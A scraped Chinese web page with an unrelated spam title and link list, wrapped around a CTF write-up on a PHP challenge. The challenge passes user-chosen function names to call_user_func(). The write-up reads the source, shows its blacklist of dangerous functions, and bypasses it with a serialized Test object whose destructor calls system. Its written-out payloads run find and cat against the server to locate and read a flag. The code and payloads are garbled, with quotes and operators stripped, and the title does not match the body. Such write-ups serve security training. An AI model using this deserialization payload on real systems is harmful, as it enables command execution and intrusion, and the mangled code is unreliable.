当前位置: 首页 > news >正文

评价一个网站的优缺点建设部网站1667号下载

评价一个网站的优缺点,建设部网站1667号下载,wordpress页面伪静态,广州娱乐场所最新通知时间一跳一跳的 抓个包 很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看 发现过滤了 随便输一个 linux指令 发现报错了 call_user_func() 看看是啥 很容易理解 第一个参数是函数名 后面是 参数 那么这里就是 func 函数 p 数值 所以我们看看有什么办法可以… 时间一跳一跳的 抓个包 很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看 发现过滤了 随便输一个 linux指令 发现报错了 call_user_func() 看看是啥 很容易理解 第一个参数是函数名 后面是 参数 那么这里就是 func 函数  p 数值 所以我们看看有什么办法可以 我们尝试读取源代码看看吧 最简单的 伪协议函数 funcfile_get_contentspindex.php 成功读取了 ?php$disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents);function gettime($func, $p) {$result call_user_func($func, $p);$a gettype($result);if ($a string) {return $result;} else {return ;}}class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}$func $_REQUEST[func];$p $_REQUEST[p];if ($func ! null) {$func strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die(Hacker...);}}? 过滤了许多函数 system在里面 这里我们发现了 __destruct() class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}} 这里很显然 魔术方法 就是让我们反序列了 既然 $p为参数   $func为函数名 我们直接构造序列化就可以了 ?phpclass Test {var $p ls;var $func system;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}} $anew Test(); echo urlencode(serialize($a)); O:4:Test:2:{s:1:p;s:17:find /-name flag*;s:4:func;s:6:system;} 查找flag文件 /script p/proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/sys/kernel/sched_domain/cpu10/domain0/flags /proc/sys/kernel/sched_domain/cpu11/domain0/flags /proc/sys/kernel/sched_domain/cpu12/domain0/flags /proc/sys/kernel/sched_domain/cpu13/domain0/flags /proc/sys/kernel/sched_domain/cpu14/domain0/flags /proc/sys/kernel/sched_domain/cpu15/domain0/flags /proc/sys/kernel/sched_domain/cpu16/domain0/flags /proc/sys/kernel/sched_domain/cpu17/domain0/flags /proc/sys/kernel/sched_domain/cpu18/domain0/flags /proc/sys/kernel/sched_domain/cpu19/domain0/flags /proc/sys/kernel/sched_domain/cpu2/domain0/flags /proc/sys/kernel/sched_domain/cpu20/domain0/flags /proc/sys/kernel/sched_domain/cpu21/domain0/flags /proc/sys/kernel/sched_domain/cpu22/domain0/flags /proc/sys/kernel/sched_domain/cpu23/domain0/flags /proc/sys/kernel/sched_domain/cpu24/domain0/flags /proc/sys/kernel/sched_domain/cpu25/domain0/flags /proc/sys/kernel/sched_domain/cpu26/domain0/flags /proc/sys/kernel/sched_domain/cpu27/domain0/flags /proc/sys/kernel/sched_domain/cpu28/domain0/flags /proc/sys/kernel/sched_domain/cpu29/domain0/flags /proc/sys/kernel/sched_domain/cpu3/domain0/flags /proc/sys/kernel/sched_domain/cpu30/domain0/flags /proc/sys/kernel/sched_domain/cpu31/domain0/flags /proc/sys/kernel/sched_domain/cpu4/domain0/flags /proc/sys/kernel/sched_domain/cpu5/domain0/flags /proc/sys/kernel/sched_domain/cpu6/domain0/flags /proc/sys/kernel/sched_domain/cpu7/domain0/flags /proc/sys/kernel/sched_domain/cpu8/domain0/flags /proc/sys/kernel/sched_domain/cpu9/domain0/flags /sys/devices/pnp0/00:00/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/tunl0/flags /tmp/flagoefiu4r93 /tmp/flagoefiu4r93/p 很显然 最后两个很奇怪 我们直接读取 funcunserializepO:4:Test:2:{s:1:p;s:22:cat /tmp/flagoefiu4r93;s:4:func;s:6:system;} 得到了 flag 这里主要考点是 call_user_func() 然后通过 反序列化传递参数 很简单的一道题了 水一下吧^^
http://www.tj-hxxt.cn/news/134401.html

相关文章:

  • 湖州 网站建设公司哪家好做网站项目需要多少钱
  • 常州建网站精湛的网站建设
  • 临沂国际外贸网站建设临平做网站
  • 手机网站要求浦东新区网站建设
  • 什么是网站推广优化php wordpress教程 pdf
  • 聊城建设银行官方网站贵阳监理建设网站
  • 兰州网站排名优化服务房地产建设企业网站
  • 网站开发服务费计入哪个科目wordpress模版下载
  • 私人做网站a做网站 钱
  • 花卉网站建设策划书南宁站建站时间
  • 网站开发人员晋升体系电脑网站上的电影怎么下载
  • 房地产网站建设的目的wordpress删除顶部
  • 自己怎样做网站wordpress jq
  • 公司发布网站需要备案cms网站开发模式
  • 电影网站 模板博客推广那个网站列好
  • 广西企业响应式网站建设设计海南中小企业网站建设
  • 自然资源部网站绿色矿山建设手机网站 兼容
  • 电商网站建设步骤东莞资深网站建设
  • 网友让你建网站做商城上海外贸学院现在是什么学校
  • 电子商务网站 功能广州论坛网站建设
  • vue做网站cms企业门户网站什么意思
  • c 网站开发案例大全做推广网站的文章
  • 做网站标题居中代码深圳网站设计哪里好
  • 鄱阳有做百度网站的在线查询网站开发语言
  • 外贸网站 源码网站管理方案
  • 长沙建一个网站多少钱残联网站建设概况
  • 做电影网站程序哪个好为什么不能去外包公司
  • 做网站如何引用头部wordpress商业站
  • 网站建设单位是什么意思四川网站建设设计公司哪家好
  • 菠菜网站建设网店推广有哪些